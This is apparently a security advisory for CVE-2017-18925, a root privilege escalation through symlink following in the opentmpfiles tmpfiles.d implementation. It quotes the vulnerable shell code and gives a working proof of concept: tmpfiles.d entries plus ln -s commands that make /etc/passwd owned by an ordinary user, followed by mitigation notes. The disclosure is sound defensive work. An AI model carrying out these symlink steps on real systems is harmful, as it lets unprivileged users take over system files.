michael orlitzky

CVE-2017-18925: opentmpfiles root privilege escalation by symlink attack

posted 2020-10-27

Product
opentmpfiles
Versions affected
all
Published on
2020-10-27
Bug report
https://github.com/OpenRC/opentmpfiles/issues/4
MITRE
CVE-2017-18925
See also
CVE-2017-18188, CVE-2018-6954, CVE-2018-21269

Summary

The opentmpfiles program implements the tmpfiles.d specification for POSIX systems that do not run systemd. When processing file and directory entries, opentmpfiles calls chown, chgrp, and chmod to change the corresponding attributes of the target path. An attacker can replace either the target or one of its parents with a symlink, and the next time that opentmpfiles is run, the symlink controlled by the attacker will be followed.

Details

The tmpfiles.d specification contains several entry types that support mode, user, and group arguments. For simplicity, we focus on the widespread d type that creates and then sets permissions and ownership on a directory; however, many of the other entry types are vulnerable in exactly the same way. To quote the specification,

d

Create a directory. The mode and ownership will be adjusted if specified. Contents of this directory are subject to time based cleanup if the age argument is specified.

So, an entry of the form d /directory/to/create 0755 mjo mjo would create /directory/to/create with mode 0755 and owner mjo:mjo.

In opentmpfiles, the d entries are implemented in the tmpfiles script:

_d() {
  # Create a directory if it doesn't exist yet
  local path=$1 mode=$2 uid=$3 gid=$4

  if [ $CREATE -gt 0 ]; then
    createdirectory "$mode" "$uid" "$gid" "$path"
    _restorecon "$path"
  fi
}

createdirectory() {
  local mode="$1" uid="$2" gid="$3" path="$4"
  [ -d "$path" ] || dryrun_or_real mkdir -p "$path"
  if [ "$uid" = - ]; then
    uid=root
  fi
  if [ "$gid" = - ]; then
    gid=root
  fi
  if [ "$mode" = - ]; then
    mode=0755
  fi
  dryrun_or_real chown $uid "$path"
  dryrun_or_real chgrp $gid "$path"
  dryrun_or_real chmod $mode "$path"
}

dryrun_or_real() {
  local dryrun=
  if [ $DRYRUN -eq 1 ]; then
    dryrun=echo
  fi
  $dryrun "$@"
}

Ultimately, the target of a d entry has chown, chgrp, and chmod called on it—all in succession. These programs all follow symlinks, both in the terminal path component and in its parents. This is straightforward to exploit as the user who owns the parent of a d type entry. Take for example the following tmpfiles.d entry, in /etc/tmpfiles.d/exploit.conf:

d /var/lib/opentmpfiles-exploit     0755 mjo mjo
d /var/lib/opentmpfiles-exploit/foo 0755 mjo mjo

When opentmpfiles is run, ownership of that directory is given to my mjo user:

mjo $ sudo rc-service opentmpfiles-setup start

mjo $ ls -ld /var/lib/opentmpfiles-exploit

drwxr-xr-x 2 mjo mjo 4096 Oct 26 08:57 /var/lib/opentmpfiles-exploit

At that point, I'm free to introduce whatever symlinks I want,

mjo $ ln -sf /etc/passwd /var/lib/opentmpfiles-exploit/foo

and then restart opentmpfiles (which would happen after a reboot, anyway):

mjo $ sudo rc-service opentmpfiles-setup restart

* WARNING: you are stopping a boot service

* Setting up tmpfiles.d entries ...

mkdir: cannot create directory ‘/var/lib/opentmpfiles-exploit/foo’: File [ ok ]

The chown, chgrp, and chmod have all followed my symlink, and now I own /etc/passwd:

mjo $ ls -l /etc/passwd

-rwxr-xr-x 1 mjo mjo 2.1K 2020-10-17 08:43 /etc/passwd

Note that the specification does not state whether or not symlinks should be followed for d entries. It does however state that they should not be followed for other entries, such as f.

When the symlink is in the terminal component of the path, this attack can be mitigated by passing --no-dereference to chown and chgrp. There is no corresponding flag for chmod, however—and the problems with chown and chgrp are more insidious: you can place symlinks elsewhere in the path. Consider the following example, again in /etc/tmpfiles.d/exploit.conf:

d /var/lib/opentmpfiles-exploit           0755 mjo mjo
d /var/lib/opentmpfiles-exploit/a         0755 mjo mjo
d /var/lib/opentmpfiles-exploit/a/passwd  0755 mjo mjo

After starting opentmpfiles (there is also a race condition as it's starting the first time…), I'm free to replace the directory a with a symlink:

mjo $ sudo rc-service opentmpfiles-setup start

mjo $ rm -r /var/lib/opentmpfiles-exploit/a

mjo $ ln -s /etc /var/lib/opentmpfiles-exploit/a

Now, restarting opentmpfiles will follow the a → /etc symlink, even when chown and chgrp are passed the --no-dereference flag:

mjo $ sudo rc-service opentmpfiles-setup restart

* WARNING: you are stopping a boot service

* Setting up tmpfiles.d entries ...

mkdir: cannot create directory ‘/var/lib/opentmpfiles-exploit/a/passwd’: File exists

mjo $ ls -l /etc/passwd

-rwxr-xr-x 1 mjo mjo 2.1K 2020-10-17 08:43 /etc/passwd

Mitigation

There is no good way to mitigate this as an end user, except to disable opentmpfiles and ensure that your OpenRC service scripts create the directories they need themselves. In particular, the Linux kernel's fs.protected_symlinks sysctl does not prevent this attack.

There is a fundamentally insurmountable problem here: there is no safe, POSIX-compatible API that lets root change the attributes of user-controlled data. As a result, the tmpfiles.d specification can only be implemented safely on recent Linux systems, where systemd's own tmpfiles program is intended to run. On a POSIX system, if you want to modify user-owned files in a user-owned directory, then you must drop privileges to that user before proceeding. This is at odds with the design of tmpfiles.d, making a POSIX-compatible implementation a quixotic endeavor.

Resolution

The opentmpfiles project is dead. If you're lucky, the systemd tmpfiles implementation will run on your system: it's more portable than it was, but still not as portable as the rest of OpenRC. On Gentoo, sys-apps/systemd-tmpfiles can be built and installed separately.